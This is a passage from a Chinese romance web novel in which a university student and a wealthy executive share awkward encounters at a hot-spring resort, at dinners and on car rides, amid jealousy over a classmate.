可钟缊酌还是觉得很奇怪,秦拂清问的这个问题, 似乎有种在故意找茬的错觉。 他为何要纠结这些? 秦拂清默了默,这一次语调尤为低沉:“那你们的关系更近了吗?” “什么?”钟缊酌没理解这话什么意思, 下意识觉得自己听错了。 秦拂清没想自己竟然把那点儿心思直接抖了出来,当即变了脸色。 这若是换作在工作中, 能挨上好几顿枪子。 “没什么。”他恍然站起身, 整理一下袖口,去木架上拿自己的外套。 态度相较刚才冷傲许多, 俨然又重新变回了高高在上的秦总。 钟缊酌被绕得云里雾里。 但她不想探究太多, 秦拂清这样的人不是她能研究透的。 钟缊酌跟着站起来去拿衣服。 等穿好之后, 才想起时间不早了, 一看手机, 差点儿惊呼起来:“秦总,我们要迟到了!” “我知道。”秦拂清依旧冷静淡然,“让他们等会儿吧, 无妨。” 钟缊酌心道,这里面你派头最大,你是无妨,我可怎么办? 一间装修典雅的小型包厢内,松松散散坐了六个人,还余下两个空位。 主位的人还没来,自然没办法开席,大伙儿靠闲扯来打发时间。 “诶,你们听说黄寅安那事儿了吗?” 江樾瞄了眼门口的方向,服务员守在外面,他压了压声音,“据传闻他是被人做的局,落了个这么凄惨的下场,真不知究竟惹到了哪位大佬。” 宋黎若眼神微凛,这里面她算知情者之一。 但她也明白,有些话定不能到外面去说,因此把嘴巴封得死死的。 谈勉嗤笑了声:“这种事儿最好还是别乱猜,人家敢做,就有本事让你无迹可寻,猜也没用。” “不管背后是谁,那也是姓黄的咎由自取,不是吗?”一直没怎么说话的傅沅宗插了一嘴。 “也对,他活该,这种法外之徒真巴不得该早点儿落网。” 江樾正感慨着,这时候张桢忽然自言自语道:“也是怪了,这俩人怎么还不来,秦总忙就算了,缊酌去哪里了?若若,你要不给她打个电话问问。” “问什么呀,他俩在一起打球呢。”宋黎若鄙夷地看他一眼,“我这会儿打电话过去得多没情商。” “打球?你的意思是,秦总刚刚去找你们之后就一直没出来?” “对啊,看俩人打得火热,我和谈姝就先走了。” 宋黎若说话向来直爽,这段话从她嘴里说出来,不细想也不觉着什么。 但主角偏偏是那位一贯克己复礼的秦拂清,是习惯会与异性保持距离的秦总。 房间里的空气霎时沉寂下来。 傅沅宗这位知情人只微微笑着不言语,谈勉自打上次谈完合作,就已经品出一点苗头,也淡定地喝着茶,剩下的几位局外人,并不怎么关心这些。 只有张桢,内心仿佛遭受重创,完全傻掉了。 钟小姐和秦总他俩暧昧上了? 天,那吴少维怎么办! 跟秦拂清争女人,他能有几成胜算啊,洗洗睡得了! 张桢接连发出好几个长叹,是为兄弟还未开始便已逝去的爱情惋惜。 不料,恰好被一前一后走进来的两人听了去。 服务员接过外衣,小心挂在衣架上,秦拂清拉开主位的椅子坐下,长指敲着红木桌面说:“这是饿坏了啊。” 张桢不敢多言,收拾起心情,勉强笑了笑,“是,我这肚子不争气,秦总见笑了。” 秦拂清直接打了个手势让服务员上菜。 这一桌除了秦拂清的位子是固定的,其他人都是随便坐,现在只剩下他旁边的坐位是空着的了。 看来大家挺默契的避开了和领导相邻。 钟缊酌没办法,只能讪讪走过去,挨着秦拂清坐了下来。 只是在她坐下之后,不知为何,总觉有一股奇怪的氛围弥漫在四周。 钟缊酌昂起头,注意到张桢和谈勉这俩人,像是不认识她了似的,目光一个劲儿往她身上打量。 她今天的衣着有哪里不得体吗? 不应该吧,身上只一件简单的麻花编织毛衣而已。 难道是脸上沾了东西? 钟缊酌眨巴着眼睛,略带迷茫地往脸上摸了摸。 很光滑,什么都没有。 对面的宋黎若被她这一动作逗坏了,拼命憋住才没笑出声来。 她冲她做了个鬼脸,那神情里充满了八卦的意味。 钟缊酌这一下全明白了。 不会是因为她和秦拂清一起迟到,这些人就觉得他俩关系不一般吧? 她别过视线,强迫自己把注意力放到那些五花八门,秀色可餐的菜品上。 既然解释不清,她也就不打算在这件事上过多内耗。 聊过几句之后,见菜上得差不多,秦拂清做了个简单的开场白。 “今天请大家出来小聚,一是祝贺宋小姐身体康复,二是给谈总升职接风。希望我们以后合作愉快。” 话落以后,谈勉和宋黎若先干了一杯,随后众人也齐齐举杯。 这顿饭吃得很和谐也很安静,钟缊酌从头到尾都没有跟秦拂清说过一句话。 钟缊酌不确定,自己或许还是受到了那些异样眼神的影响,因此刻意避之。 晚上,她和宋黎若回到酒店房间。 宋黎若整个人往床上一瘫,没了魂似的,“我不行了,被那个小妖精吸干精气了。” 钟缊酌看她那不争气的样子,嘲笑说这宋大小姐传言打遍天下无敌手,如今看来也是浪得虚名。 “激将法对我没用。”宋黎若翻了个身,拿枕头蹭了蹭脸,“你都不知道那小丫头一天能问多少问题,给她改名叫十万个为什么得了。” “她都问你什么了呀?”钟缊酌好奇道。 “好多呢,玩的游戏,看的剧,喜欢什么口味的蛋糕,擅长哪些球类,还有关于男人的问题。” “男人的问题?” “是呀,问我喜欢哪种类型的男生。” 钟缊酌凑过来,满眼期盼地,拽了下她的衣袖,“那你怎么回答她的?” “我说我不知道呢,没遇见过喜欢的。” 宋黎若瞧她那狗狗祟祟的模样,就知道没安好心,“你别想套我的话,我遇上了肯定第一个告诉你。” 钟缊酌见这个话题继续不下去,只好撇过身,拿皮筋将头发扎起,“那你一会儿还去泡温泉吗?” “你想去吗?” “嗯,我下午来得晚,还没泡够。” 宋黎若眼珠子一转,“走,我知道有个地方咱俩没去过,特别有意境。” 金泊温泉馆大致分为室内和室外两种,室内私密性较强,设施丰富,室外自然景观更好。 除此之外,还有一处为室内和室外相接之地,只覆一层透明玻璃罩,内置热带雨林景观,硕大的芭蕉叶,茂密的棕榈树,修长挺拔的绿竹,一片郁郁葱葱下,和那云雾氤氲的温泉浑然融为一体。 “还有这种好地方,你怎么不早说呀。” 钟缊酌一下午只泡在了室内,根本没出来观察过外面的景观,她吸了吸空气中的负氧离子,“这里可真舒服。” “我也是临近离开时才发现的,没来得及告诉你。” 两人在一薰衣草浴汤坐下,静谧安逸的汤池里,伴随着蒸腾热气中的清香,徐徐拉开了闺蜜间的悄悄话。 聊着聊着,宋黎若似是想起什么,跟她提了一嘴,“不过这里是公共区域,你会介意吗?我主要不想看见熟人,估计这个点儿他们不会来。” 钟缊酌很默契地点头表示赞同,“我也是这么想,只要不碰见熟人就好。” 泡温泉或是游泳,这种当代很常见的娱乐活动,若是面对陌生异性,自然不觉得有什么别扭的地方,在各自眼里都是毫无欲望的躯体。 而一旦换成熟人,那种感觉就不一样了。 很难做到不尴尬。 泡得有些腻味了,钟缊酌提出建议:“我们换一处吧,看看有没有带沉香的安神汤浴。” “行,去转转。” 欢声笑语间,两人完全不知,就在前方不远处的沉香池,沐浴着她们认为绝不会撞见的熟人 “忙乎一天了,到底有没有进展。”傅沅宗仰头靠在池边,眼睛闭着,一副昏昏欲睡的模样。 “凑合吧,下周再确定一些细节,项目就可以推进了。” “谁问你这个?”傅沅宗扯下脸上的毛巾,撑着手臂坐起,正打算盘根问底,“别在这儿跟我装傻——” 一阵清脆悦耳的女声传来。 他瞬间止住了话音,和旁边的男人对视一眼。 宋黎若的声音很有辨识度,即便隔着一片树木竹林,也大抵不会听错。 傅沅宗的心理和两个姑娘相差不多,这种时候最怕的就是遇见异性朋友了。 他当即披上浴巾,穿上拖鞋就准备离开,秦拂清压着嗓子喊他:“你干什么去?” “还干什么,准备跟人姑娘赤裸相见啊。” 秦拂清嗤他:“封不封建呐你。” 傅沅宗趿拉着拖鞋,头也不回地从侧门出去了,只剩秦拂清一人留在汤池里。 周围安静下来,那两道熟悉的女声也愈来愈近。 扪心自问,他真的能做到泰然自若,丝毫不介意这男女之别吗? 尤其在自己钟意的女孩子面前,他能有几分把握不紧张,不慌乱。 还是说,那些只是堂而皇之的借口,他心中藏了更不可言说的私心。 秦拂清的呼吸开始急促起来,他能清晰地感受到自己的心跳。 很快,在那一片芭蕉叶旁,出现一道隐隐绰绰的身影。 很淡的水蓝色,清水芙蓉般的样貌,披肩下是两条细白的长腿。 宛若掉入林间的精灵仙子,几片碎布裹在身上,却美艳至极,瑰丽无比。 只一眼,秦拂清便迅速挪开了目光。 所有感官全部炸开,铺天盖地向他涌来,呼吸被吞噬,神经被麻痹,眼神仿佛失去了焦点。 秦拂清僵硬着身子,捞起池中的温水抹了把脸。 水滴淌过鼻骨,流过唇角,延着下颚缓缓而落。 他当真太高估自己了,还真当他秦拂清是什么圣人呢。 而此刻对面的姑娘,显然也认出了他。 她脚步顿了顿,红着脸转过身,急匆匆地钻入一条小路。 “诶,你慢点儿。” 宋黎若跟在后面,气喘吁吁地,“缊酌,你确定那人是秦拂清?” “我确定,非常确定。”钟缊酌脸上的红润还未消退,像春日里初绽的桃花。 “那我们就这样直接跑了,会不会不太礼貌啊。” “你自己回去打招呼吧,我不管了,我要回酒店。” 钟缊酌不止确定那是秦拂清。 还确定,在拐过芭蕉叶的那一刻,她的目光正堪堪落进了他的视线里 次日的清晨,秦拂清去和几位老板吃早饭,在酒店回廊里看见孤身而立的谈勉。 “昨晚睡得怎么样?”他凑上来,和他并排走着。 秦拂清目不斜视,一手抄进口袋,“说重点,我没那么多时间。” 谈勉“啧”了声,“一点儿迂回不肯给啊。” 他不得不收起几分虚情假意,“那行,我就是想问问,你昨晚泡温泉的时候是不是遇见宋黎若了?” 不必他再多言,秦拂清也知道这位今儿一大早堵他来的目的了。 “姓傅的告诉你的?” 谈勉点头,又立马摇头,“这重要吗?关键是你有没有——” 秦拂清眉眼疏懒,挺拔的身姿透着随性,仍旧慢条斯理地,“甭跟我这儿来吃醋,我什么都没看到。” 他说的是实话。 虽然听见的是两个人的声音,可秦拂清再去回忆,怎么都觉得那会儿明明只有缊酌在。 至于宋小姐呢?他已经完全记不起她的样子来了。 后来秦拂清查过资料才知晓,在心理学上,这是一种滤镜效应。 即当你的心思全部放在一个人身上时,便会自动忽略别人的存在。 想想也是,他的一切感官都被那姑娘封印住了,哪儿还能注意得到其她人。 作者有话说:评论区掉落红包~ 第30章 吃完早饭, 一行人各自打道回府。 谈姝非要拉着宋黎若去看画展,她没办法,原本是打算跟缊酌一起走的,而现在只能被迫上了谈勉的车。 谈勉或许觉得挺不好意思, 主动向钟缊酌提议:“不然你坐秦总的车呗, 反正你俩都回院儿里, 也顺路。” 钟缊酌摆手:“不用,秦总还有正事,我自己打车就好。” 谈勉也是跟秦拂清混得熟了,直接拿起手机,划出通讯录, “我给他拨个电话,你等会儿。” 电话响了几声被接起, 谈勉问,什么时候走, 能不能带上钟小姐。 那头的秦拂清没说可以还是不可以,只是很平静地回答半小时之后离开。 谈勉挂掉电话, “在这儿等会吧, 半小时后他来接你。” 既然已经联系完,钟缊酌也不好再推辞, 她冲他们挥手告别, “那你们路上小心。” 钟缊酌坐在门口的长椅上给秦拂清发了个短信:【秦总, 我在距离大门两百米的这个位置等你。】 好半天没等到他的回复, 钟缊酌开始刷起短视频。 直到远处传来一声鸣笛, 她抬头,那辆黑色宾利车已经缓缓驶了过来。 钟缊酌看了眼时间,才过去二十分钟。 她拿起背包, 快速走到车旁,拉开副驾驶的门,跟秦拂清打了声招呼:“秦总,又要麻烦您了。” 一阵混合着少女体香和薰衣草味道的香气灌入车内,秦拂清不动声色地往后靠了靠。 他粗粝的手指抚摸着方向盘上的真皮套,“我不麻烦,我只是觉得你挺麻烦的。” 这话听起来歧义很大。 可以理解为她做了什么事,让人觉得这件事很麻烦,也可以理解成她这个人叫人觉得麻烦。 钟缊酌站在车旁,一手把着门把,却没敢再往前。 “上来啊。”秦拂清侧过身去,清浅的目光扫过来,没招儿似地拽了下她手里的书包带,“上车。” 等钟缊酌在座位上坐好,乖乖系上安全带,秦拂清才又继续讲:“天天给我发短信,累不累啊,你不玩儿微信的啊?” 口吻里尽是长辈式的心酸与无奈,说得像是位高权重的秦先生受了多大的委屈。 可她明明是因为不敢随便加他微信的好不好,钟缊酌在心里给自己叫屈。 谁知道他微信列表位置那么珍贵,愿不愿意让一个来兼职的学生躺在里面。 钟缊酌“哦”一声,点开屏幕,输入秦拂清的手机号,发送一条申请过去,“秦总,我加您微信好友了。” 秦拂清随手点了通过,然后把手机扔在一旁,踩下一脚油门。 这姑娘是真的没一点儿主动性,非得逼他拿鞭子在后面抽,才舍得迈出一小步。 一路上,两人都默契地没提昨晚“偶遇”之事,以此换来的,是一段长久的沉默。 钟缊酌昨天回来后睡得很晚,脑袋昏昏沉沉地,眼皮上下直打架,这么会儿不知睡过去几次。 期间,她醒来的时候,听见秦拂清放了一首歌。 是一首非常温柔,轻缓的英文歌曲。 Hello what a wonderful life Im making it a point to never ever leave your side You made me change the way I see every day every night Im tangled up in love Im lost inside your eyes 她听着这首歌,思绪在现实和梦境中交错纷飞,迷离了双眼。 车子开进大院,过减速带时颠簸了几下,钟缊酌才彻底醒了过来。 她有点儿不好意思地瞥了眼旁边的人。 担心他会吐槽自己没一点眼力见,在领导车上睡得那么香。 秦拂清面上倒是挺平和,也没说什么。关上音乐后便静静等着她穿衣服,拿书包。 “秦总,今天多谢您,我就先回家了。” 钟缊酌推开车门,正准备往外迈,忽然听到秦拂清嗓音沉沉地开口:“不请我上去坐坐?” 钟缊酌回过头,没反应过来似地“啊”一声,“您、您要上去?” 秦拂清又问:“你家里有人吗?” 钟缊酌眼神忽闪,欲言又止地:“倒是没有” 刚刚陶姨给她发信息说,要去雍和宫上香,可能中午才会回来,这会儿应该是没人的。 可正因为没有,才更不方便啊! 现在已经有很多人开始八卦他俩的关系了,若是再被人看到秦拂清跟着她进了家门,那还怎么说得清。 钟缊酌正欲开口劝说,只见那个男人从容不迫地关闭发动机,拿起外套,“正好没带礼物,没人就无所谓了,走吧。” “” 钟缊酌实在想不通,为何向来体面的秦总,今天会提出这样不合时宜的要求。 主动进姑娘的家门,实在不是什么君子所为。 钟缊酌站在秦拂清的旁边,他身高腿长,肩背厚实,在狭小的电梯里形成一道天然的屏障。周身那股不怒自威的气场将她牢牢裹住,压得人透不过气来。 钟缊酌笔直站好,目不斜视地,饶是未曾想到,有一天进自家家门也会如此局促。 “秦总,您请坐,我去倒杯水。” 还好陶姨每天都会收拾屋子,家里没有很乱。 钟缊酌跑去接了杯温水,双手捧着递给秦拂清。 秦拂清抿了几口,便放到茶几上,拍了拍旁边的位置,“坐吧,别跟我那么客气。” 他倒是反客为主了。 钟缊酌屏住呼吸走过去,在他身边坐下。 “听说你父母在南方做生意,平时家里只有你自己吗?” “不是,还有个阿姨在照顾我,她一早去雍和宫上香,要中午才回来。” 秦拂清轻轻点头,目光短暂向四周打量一圈,又迅速克制地收回。 看得出来,他很想了解她更多,却因顾及身份,恐怕失了礼数。 “您吃提子吗?” 茶几上有陶姨洗好了的现成水果,钟缊酌绞尽脑汁找话题,这会儿看中了那一盘子嫩绿多汁的美人指。 哪知秦拂清却无情拒绝道:“我不爱吃,你自己吃吧。” 拿在手里的东西不好再放回去,钟缊酌没办法,只好把那几颗提子放进了自己的嘴里。 小姑娘鼓着个腮帮,红唇一张一合地,偶有汁液溢出来,便抽出纸巾擦掉。 就这么坐着看了一会儿,秦拂清忽然觉得口干舌燥。 摸了把面前的温水,他犹豫着收回手,滚动喉结问她:“有苏打水吗?最好凉一点的。” 钟缊酌想起之前冰箱里存的苏打水还没喝完,点头说:“有,您稍等。” 起身后,钟缊酌似是想起什么,自言自语般小声嘀咕一句,“怎么男生都爱喝苏打水啊。” 在她的背后,秦拂清微不可察地挑了下眉。 那冰凉的碳酸液体麻痹着味蕾,顺着喉咙钻入肺里,将身体内莫名升起的一股燥火冲淡。 秦拂清拧上瓶盖,垂眸问她:“所以除了我,还有哪个男生爱喝苏打水。” “嗯?” “你刚才说了都字。” 钟缊酌心里一惊。她只是随口说说,他怎么就听进去了? “我说的是吴少维,他之前来做客,也要了苏打水喝。” 这不是什么非要保密的事情,他既然问起,钟缊酌便如实告知。 话落之后。 秦拂清将水瓶往茶几上重重一撂,身子后仰靠在沙发上,整个人的气压忽然低了几分。 “看来黄寅安的事情是没让你长记性,还敢和这些膏粱子弟独处一室。”他沉着嗓子说。 钟缊酌怔怔地想,他指的是吴少维吗? 可吴少维是妥妥的正人君子,怎么能和那姓黄的相提并论。 “不一样的,吴少维是个好人。” 她声音很轻,却带着些不服,像是维护朋友那般,因他被人污蔑。 秦拂清冷笑,“好人?你才认识他多久,就知他是好人坏人。” “我又不傻,我能看得出来。”钟缊酌这次是真的有点生气,为什么总觉得她什么都不懂,一定要否定她的观点。 秦拂清也是第一次见,小姑娘这副张牙舞爪的模样,却是为了别的男人。 胸腔憋了一股无名火,无处消散。 秦拂清扯了扯衬衫领子,一颗纽扣直接崩开,他倾身面向她。 “你这么有眼光,那来看看我,是好人还是坏人。” 他这副活活要将人吞食入腹的样子,着实把钟缊酌吓到了。 在钟缊酌心里,从未衡量过秦拂清算好人还是坏人。 她觉着他和别人是不属于同一世界,同一空间的,不管他做什么,都不会叫人猜出其真正目的。 两人就这样静默着,四目相对。墙上时钟的嘀嗒声被无限扩大,清晰落入耳中。 好半天之后,钟缊酌才匀出一口气,缓缓启唇:“我不敢妄议您的品性,但我想秦总身处高位,最在意的就是名声,绝不会做那种糊涂之事。” 这话多少带了点赌气成分。 即便是在给他戴高帽子,但细细一品却没那么好听。 也就是说她觉得他会是个守礼的君子,只因地位架在那儿,而不是因其品德。 秦拂清已然没什么好说的了,再多待一秒,怕是都要被气出心脏病来。 他站起身,看了眼茶几上的空塑料瓶子,还是伸手拿起,将其扔进垃圾桶里。 “秦总,我送您。” 钟缊酌紧走几步追出去,却还是被他远远甩开。甚至进了电梯之后,都没再看过她一眼- 转眼间寒冬已至,十二月即将过半,钟缊酌在周五这天,最后一次来吴少维家里补课。 “下周就要开始复习期末考试,补课就先到这里吧。这段时间谢谢你,我能感觉到进步很大。” 吴少维转着手里的笔,眉眼拢出几分黯淡,“行,以后若是还需要我的帮忙,随时开口。” 钟缊酌起身开始收拾书本,待全部装进书包后,吴少维在一旁轻咳一声,“这会儿时间还早,我从母亲那带了点梨花酥来,你要不要尝尝。” “可以呀。” 吴少维弯了弯眼,他的眼睛是铜色的,看人时温柔缱绻,总让钟缊酌想起古玩馆里的那只虎斑猫。 吴少维从厨房里拿出一盒糕点,放到写字桌上,“品鉴一下味道怎么样。” 钟缊酌轻轻咬下一口,细腻柔软的豆沙馅在口中化开,甜而不腻,她忍不住赞叹道:“阿姨的手艺真好,比我烤得面包好吃多了。” 吴少维惊奇道:“你还会烤面包啊?” “嗯,还是高中时学会的,都有些生疏了。” “那也很厉害了。” 吴少维看着她吃完了一整块梨花酥,擦完手,一双乌黑的眸子望过来,看样子是要准备跟他告别。 “缊酌,有件事我一直想问,就是不知该怎么开口若是冒犯到你我先道个歉。” 吴少维已经纠结了好几个晚上,再不说恐怕就没有这么好的机会了。 就在几天前,张桢突然约他出来吃饭,聊了没一会儿,说起他们去温泉度假村的时候,察觉到秦拂清和钟小姐的关系不一般。 吴少维本来没把这话放在心上,他不了解眼前这姑娘,还不了解秦拂清啊。 秦拂清事业正值上升期,家里又管得严,哪里有功夫谈恋爱? 况且,他俩根本没多少交集,他那种城府极深的人,更不可能轻易跟一不熟的女孩子亲近。 可听张桢那小子说得绘声绘色,心里总有块疙瘩过不去。 思来想去,他还是打算旁敲侧击地问一问。 “什么事啊,你说吧,没关系的。”钟缊酌扑闪着长长的睫毛,睁大眼睛看着他。 “就是你和秦拂清这个人,接触得多吗?” 他说完后,钟缊酌便愣住了,一时不知他是何用意。 钟缊酌稍稍思索着回:“不算多吧,他是我兼职的老板,也就这方面有些接触。怎么忽然想问这个?” 吴少维心下了然,沉吟不语,最后挑了个最想问的:“你在哪里做兼职啊,是周六日去吗?” “对,每周六去,在他开的古玩馆里。” 吴少维轻轻咽了咽口水,“那你每次去的时候,他也会在吗?” 钟缊酌明显感到自己手背上的筋抽动了一下。 她摇着头说,“没有,秦总那样的大忙人,不会总待在那种地方。” 吴少维的心脏在这一刻,总算落回到了原位。 他笑着和她解释:“是这样,因为秦总前些天跟我提到你,说你打网球很厉害,我就好奇你俩怎么认识的。” 原来是因为这个。 钟缊酌松了口气,差点儿又要误会他了。 “其实也是运气好而已。” “那我先走啦,拜拜。” “缊酌,以后有机会,我能尝尝你做的烤面包吗?”吴少维温和的嗓音在身后响起。 钟缊酌的脚步刚迈过门槛,回头“嗯”了一声,“当然。” 作者有话说:秦总已气疯 文中英文歌词来自《Tangled Up (Reimagined)》 评论区掉落红包~【..top】 30-40 第31章 赶在期末考试之前, 智能机器人项目顺利完成了第一阶段的程序开发。 这部分内容主要是由计算机专业的学生负责,为了给大家庆功,组长林梵在元旦假期的最后一天,组织团队成员出来聚餐。 因经费充足, 选取的饭店也格外高档, 是一家专门做淮扬菜的私馆。 位置坐落在东二环最繁华的街道, 却闹中取静辟出来的一条胡同里。 群里有消息弹出,钟缊酌划开手机,看到有人发了一个[厉害了]的表情包。 再往前,是几位同学的对话。 同学A:【你们知道吗,今天张院长也请了几位领导过来, 就在咱们隔壁包间。】 同学B:【都有谁呀?】 同学A:【除了学校的几个院长和导师,还有那位资助方代表。】 同学C:【哇, 那咱们的系花肯定要羡慕死了。】 同学B:【厉害了.jpg】 但很快,同学C的那条消息就被本人撤回了去。 “何诗绾竟然还没放弃。” 白琪按灭手机屏幕, 抬头看了眼站名,“我听说秦拂清压根儿懒得搭理她, 借着汇报名义做的那些小动作, 没一个成功的。” 钟缊酌对这些八卦兴趣不大,但她还是挺好奇, “你怎么知道这么多?” 白琪摇晃了下掌中的手机, “刚撤回消息的那个许君宜, 她跟我讲的, 我觉得她俩可能不怎么对付, 一直在传对方的丑闻。” 钟缊酌看不透这复杂关系的背后,只是在想。 秦拂清竟然能抽出时间参加这种饭局?他工作不忙了吗? 两人到了饭店之后,见到林梵正站在门口接人, 指着里面的长廊说:“往里走,102包间。” “好的,组长辛苦。” 长廊两侧是徽式建筑的白墙灰檐,檐下吊起红灯笼,用红黄交织的树叶做点缀,隔开一栋栋包间。 钟缊酌顺着这条路,几乎一直走到头,才看见102这个数字。 同时,她也看到隔壁的包间外,站着两个正在交谈的男人。 秦拂清面色偏淡,眉眼低垂,指尖夹着一根未点燃的香烟。 他比张院长高出半个头,很绅士地俯下身子听他讲话。 白琪在后面拽了拽钟缊酌的衣摆,凑上来说:“咱们路过的时候是不是得打个招呼?” 钟缊酌回头和她咬耳朵:“他们正聊得投入呢,看情况吧。” 碰上领导就是这点最麻烦,不打招呼显得不礼貌,随便打招呼又怕打扰到人家。 钟缊酌目不斜视,假装很淡定地往前走,一直来到张院长的身后。 张院长是背对着两人的,或许注意不到,但秦拂清这个角度,不管他是否抬头,一定能看见她们。 可他就像完全不认识她了似的,别说主动搭话,连个多余的眼神都没给。 钟缊酌脚下停顿两秒,从余光瞥见,秦拂清毫无表情的一张脸。 只是一层轮廓,也英俊倜傥得叫人呼吸凝滞。 这一瞬间,她忽然有些理解何诗绾了。 手指上传来一阵轻微的疼痛感。 是白琪在偷偷捏她。 钟缊酌回过神来,拉着白琪,快速离开了那人的视野范围。 “不打招呼了啊。” “嗯,秦总没功夫搭理我们。” 钟缊酌嘴上这么说,心里却想的是,还打招呼呢,刚刚发生了什么? 她竟然觉得能理解何诗绾,她也被美色蛊惑了吗?太吓人了! 这一段时间的相处,让来自不同班级的同学们也都混了个八分熟,饭桌上天南海北地聊起来。 话题从考研考公到影视剧动漫游戏再到明星网红,大家举杯畅饮,满屋子洋溢着惹人艳羡的青春气息,好不热闹。 许君宜喝了不少,满脸通红地比划着:“说起网红,你们知道咱那系花,毕业以后就打算去当网红吗?” 她一说完,立马有人议论起来: “考上最高学府结果去当了网红?没搞错吧!” “那也是人家自由,现在网红赚得比你搞科研多多了,谁会嫌钱多呢。” “一切向钱看,这种风气就不该提倡,太浮躁了。” “可是当网红也没那么容易的,我听说这个圈子很乱,有很多潜规则。” 许君宜哼了一声,“所以啊,她现在急着找个有钱男人傍身呢,等毕业了直接助她出道。” 这时候另一个女生也说,“可是我怎么听说她在准备考研,况且有钱男人又不傻,凡是有点家世的,都不可能会娶一个网红吧。” 许君宜有点急了,“那也不难理解啊,说不定当不成网红就直接奔着阔太太去了,不然她总缠着那位先生做什么?” 话扯到这里,大家也不好再讨论下去。 毕竟她口中的那位先生就在隔壁,人家的地位也不是能轻易拿来做饭后谈资的。 这顿饭一直吃到晚上九点才结束。 白琪临走前去了趟卫生间,直到大部队快撤光了,她才蹒跚着步子出来:“腿都蹲麻了,不好意思啊让你等这么久。” 钟缊酌笑说:“还能行吗?要不要我扶着你。” “没事儿,我适应下就好,咱们是坐地铁还是打车回去?” 钟缊酌想了想,“坐地铁吧,打车估计会很堵。” 刚出饭店门口,茫茫暮色里,迎面走过来一个人。 钟缊酌仔细瞧了眼,条件反射喊出:“季总——” 又立觉着不对,改口道,“昌叔。” 季昌微微点头,站定在她面前,眼里噙着笑,“钟小姐,回学校吗?” “嗯,正要去坐地铁。” 他语气和蔼地跟她商量:“跟我们坐车走吧,秦总要去北四环办事,路过你们学校。” 钟缊酌透过昏黄的路灯,这才看到那辆熟悉的黑色轿车,此刻正安静地停靠在对面的矮墙之下。 几个小时前还假装不认识自己,这会儿又主动邀请她去搭车。 钟缊酌突然有点心疼昌叔了,整天陪着这样一位阴晴不定的人物,那得有多大定力才不会精分呀。 “但是我要和朋友一起,麻烦您帮我转告秦总,说谢谢他的好意,我总打扰他也不合适。”钟缊酌礼貌道。 季昌眼里的笑容即刻褪了去,只剩满脸的苦涩。 方才秦总只叫他喊钟小姐过来坐车,说至于怎么邀请人家过来,让他自己想办法。 可他能有什么办法,钟小姐自己不想去,总不能将人绑去吧? 这一幕被白琪看在眼里,她走上前,自以为很大气地拍着胸脯说:“没关系,你坐秦总的车吧,我自己坐地铁就成。地铁那么多人呢,我又不会怕。” 若是天再亮些,白琪或许能察觉到钟缊酌卖力递过来的眼色,可她已然完全沉浸在自己的“聪明劲儿”里不可自拔了,“你跟秦总多接触,以后找工作兴许能搭上线。” “” 钟缊酌没办法了,只能无奈向白琪挥手告别。 看着她走远后,又故作轻松地转头跟季昌说:“昌叔,今天又要麻烦您。” “不麻烦。” 季昌心里的石头可算落了地,走在前面带路,三步两步来到车旁,替她拉开后座门,“钟小姐,请上车。” 钟缊酌说了声“谢谢”,然后弯腰钻了进去。 车内温度固定在二十五度,一股温热气息迎面扑来。 秦拂清穿一身板正西装,借着阅读灯,架起腿在看文件,没有搭理她的意思。 钟缊酌也算熟门熟路了些,直接脱下羽绒服,整齐放到旁边座位上。 这里距离学校还不近,加上堵车,估摸没有一小时到不了。 钟缊酌掏出耳机,打算把下载到手机上的几段BBC新闻重听一遍来打发时间。 结果刚戴上,还没打开视频,就听到旁边的人颇为不悦地开口:“现在是越来越没规矩了,上车半天连个招呼都不打。” 钟缊酌抬起的手停在半空中,闻言,将耳机摘下来,侧过身解释:“秦总,我是看您在工作,不好意思打扰您。” 她满脸诚挚的样子,心里却在想,我不打招呼,可你今天也一直没理我呀。 秦拂清头也不抬,薄唇冷冰冰地吐出一句:“还越来越油嘴滑舌。” 面对秦拂清这样的人物,钟缊酌是没胆子跟他置气的。 再者,自己受了他那么多恩惠,就算偶尔冒出来的那点儿自尊心开始作祟,又能翻出什么风浪呢? 她低下头,什么也不说,也不再作解释,只摆出一副任由他发落的姿态。 空气静默了好一会儿,见小姑娘像只鹌鹑似地窝在角落,手里扣着耳机线,一言不发。秦拂清这才放下文件,静静望着她:“生气了?” “没有,我只是觉得,像秦总这样日理万机的大人物,不应该在我身上浪费时间。” 钟缊酌想表达的意思,是秦拂清没必要总在这些小事上,给予她一些照顾。 可这话传到另外两人耳中,寓意就没那么简单了。 季昌很自觉地,默默将中间的隔离挡板放了下来。 整个车厢视野忽然变得狭隘,钟缊酌没看懂他这个举动是什么意思。 来不及细想,秦拂清沉磁的嗓音已经在耳畔响起:“对你来说,我做这些就是浪费时间对吗?看来黄寅安的事儿我就不该管,就应该让你自个儿哭去,也不至于忙活半天,最后还落得个浪费时间的下场。” 他的回击铿锵有力,钟缊酌霎时气血翻涌,脸上立马烧了起来,“您误会了,我的意思是说像搭顺风车这种小事,总麻烦您不合适。” 秦拂清冷笑一声,“你不是也搭过吴少维的车?那会儿就不觉得不合适了?” 钟缊酌没想他连这件事也知道,可那怎么能一样呢?他和吴少维不是一类人。 “您是我老板,吴少维是我朋友,不一样的。” 秦拂清额角上青筋冒起,喉结滚动着,一字一句问她:“私下也是老板吗?” 钟缊酌紧咬着嘴唇,脸上红一阵白一阵,她说不过他,可又觉得委屈。 她干脆豁出去了,把一直以来藏在内心深处的不甘心一并发泄出来:“因为您本来就没平等看待过我。” 说完之后,钟缊酌胸口剧烈起伏着,大口大口喘气,短短几个字像是花费掉了很大力气。 秦拂清锁着眉头,沉默好几秒,才开口:“你这又是说的哪儿的话。” “对于您来说,我就和那些古董一样,是明码标价的,是可以当作物品衡量的,不是吗?” 钟缊酌心跳得快要冲出嗓子眼儿。觉得自己一定是疯了,她怎么敢讲出这些话的。 但也就是在这一刻,秦拂清终于明白她到底在别扭什么,到底为什么不肯和他亲近,敢情一直记着这仇呢。 秦拂清放下腿,把文件往桌板上一扔,松了松领带,大有只身赴死的架势。 “那我现在也给你衡量我的机会。你觉得我这人能值多少钱,没关系,按你想的说个数。” 钟缊酌哪里还说得出来什么话。 嗓子都快被即将跃出的心脏整个堵住了。 她使劲儿咽了咽口水,眼前模糊一片:“我、我不知道。” 秦拂清声音放柔了些:“你若是自己放弃这个权利,以后可别再来讨伐我。” 钟缊酌点头,又摇头,“这已经不重要了。” 她屏气凝神,“我想问,那如果以后,我是说如果我再弄坏了什么古董,您还拿我赔吗?” 秦拂清表面不动声色,心里却在喟叹,别看这姑娘平时不争不抢的,一旦触及底线,恨不得扒掉你一层皮。 他也是第一次被人数落不说,还要丢掉面子跟这儿道歉。 